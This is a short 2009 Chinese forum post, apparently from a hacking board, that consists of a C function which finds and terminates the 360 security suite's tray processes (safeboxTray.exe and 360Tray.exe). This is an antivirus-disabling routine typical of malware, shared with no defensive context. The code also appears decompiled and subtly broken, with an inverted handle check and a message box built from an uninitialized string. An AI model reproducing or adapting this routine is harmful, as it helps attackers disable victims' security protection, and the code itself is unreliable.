好友
阅读权限40
听众
最后登录1970-1-1
|
鹭影依凌
发表于 2009-2-27 19:47
void ZhKillsafeboxTrayAnd360tray()
{
HANDLE hProcess;
BOOL bKill360Already;
HANDLE hProcessSnap;
PROCESSENTRY32 pe;
LPSTR szWindow;//全局变量
bKill360Already = FALSE;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if ( hProcessSnap != INVALID_HANDLE_VALUE )
return;
pe.dwSize = 296;
if (!Process32First(hProcessSnap, &pe))
return;
do
{
if ( !lstrcmpi(pe.szExeFile, "safeboxTray.exe") || !lstrcmpi(pe.szExeFile, "360Tray.exe") )
{
hProcess = OpenProcess(1u, 0, pe.th32ProcessID);
if ( hProcess )
bKill360Already = TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
Sleep(10);
MessageBoxA((HWND)0xFFFFFFFF, szWindow, szWindow, 0);
}
}
while ( Process32Next(hProcessSnap, &pe) );
CloseHandle(hProcessSnap);
} |
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|